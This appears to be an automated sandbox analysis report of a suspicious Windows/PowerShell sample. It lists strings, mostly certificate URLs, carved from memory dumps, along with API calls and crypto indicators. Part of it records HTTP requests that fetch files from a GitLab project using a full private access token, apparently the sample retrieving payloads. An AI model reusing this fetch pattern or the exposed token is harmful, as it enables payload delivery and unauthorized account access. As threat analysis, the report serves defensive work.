"http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://a5c561934e089micrmhk,_s0w" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005528.00000000.225591.5A2F0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp") Found URL "http://msdn.microsoft.com/en-us/library/yfsftwz6.aspx" - Source: "00000000-00005528.00000001.226277.50780000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema" - Source: "00000000-00005528.00000001.226277.50780000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lsuuuhhsmookhgreater" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;digicert" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,-geotrust" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005528.00000001.226277.5A2F0000.00000004.mdmp") Found URL "http://crl.micrl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005528.00000001.226277.5A2F0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows8y2z-py2z-1.3.6.1.4.1.311.3.3.1" - Source: "00000000-00005528.00000001.226277.5A2F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005528.00000001.226277.5A2F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005528.00000001.226277.5A2F0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00005528.00000001.226277.5A3F0000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005528.00000001.226277.5A48D000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-washington1redmond1microsoft" - Source: "00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-jyqf;?0xdb7j[agysf0d1aoc1402+229879+719555cb-6de2-446c-acba-d90894acd8720m0k0ichttp://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-rqz-po,ppz-p0" - Source: "00000000-00005528.00000001.226277.5A4C2000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00006112.00000001.226684.3FBD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czc2.5.29.12.5.29.17thawte," - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;f$eogtt3;cth" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0uz_]1.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3bz69k;j0verisign," - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "https://go.microsoft.crsa1-g!" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows0qst*&pj>e" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsc" - Source: "00000000-00006112.00000001.226684.59FD0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00006112.00000001.226684.5B9E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00006112.00000001.226684.5B9E0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006112.00000001.226684.5B9E0000.00000004.mdmp")47:T4cf,Contains base62 string in header "kVslysiZe9Up04z0TbF7GGM6MQpvOjEKd" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.comConnection: Keep-Alive" Contains base62 string in header "kVslysiZe9Up04z0TbF7GGM6MQpvOjEKd" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com" Contains base62 string in header "kVslysiZe9Up04z0TbF7GGM6MQpvOjEKd" in header "GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1PRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36Host: gitlab.com"48:T8d6,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00006444) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00006444) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00006444)49:T132d,file/memory contains long string with (Indicator: "aes"; File: "hcjefsh2.0.cs") file/memory contains long string with (Indicator: "createdecryptor"; File: "hcjefsh2.0.cs") file/memory contains long string with (Indicator: "cryptostream"; File: "hcjefsh2.0.cs") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "hcjefsh2.0.cs") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004752.00000001.226698.DF8E0000.00000004.mdmp, 00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004752.00000001.226698.F9AD0000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00005528.00000000.225591.3E4E0000.00000004.mdmp, 00000000-00005528.00000000.225591.58960000.00000004.mdmp, 00000000-00005528.00000001.226277.3E512000.00000004.mdmp, 00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00005528.00000000.225591.58960000.00000004.mdmp, 00000000-00005528.00000001.226277.58960000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000000.225591.70420000.00000004.mdmp, 00000000-00005528.00000000.225591.70430000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.70400000.00000004.mdmp, 00000000-00005528.00000001.226277.70460000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005528.00000000.225591.703E0000.00000004.mdmp, 00000000-00005528.00000000.225591.70420000.00000004.mdmp, 00000000-00005528.00000000.225591.70430000.00000004.mdmp, 00000000-00005528.00000001.226277.703E0000.00000004.mdmp, 00000000-00005528.00000001.226277.70400000.00000004.mdmp, 00000000-00005528.00000001.226277.70460000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.70420000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00005528.00000000.225591.70420000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.70420000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "aesbcryptmodes" (Indicator: "aes"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "system.security.cryptography.xml" (Indicator: "System.Security.Cryptography"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "ecdsacertificateextensions" (Indicator: "ecdsa"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "ecdsax509signaturegenerator" (Indicator: "ecdsa"; Source: "00000000-00005528.00000000.225591.70430000.00000004.mdmp") Found string "psrsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00005528.00000000.225591.70480000.00000004.mdmp") Found string "d__198" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp") Found string "d__151" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp") Found string "d__484" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp") Found string "d__110" (Indicator: "base64"; Source: "00000000-00005528.00000000.225591.704E0000.00000004.mdmp")4a:T56a,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004752.00000001.226698.EADB2000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: 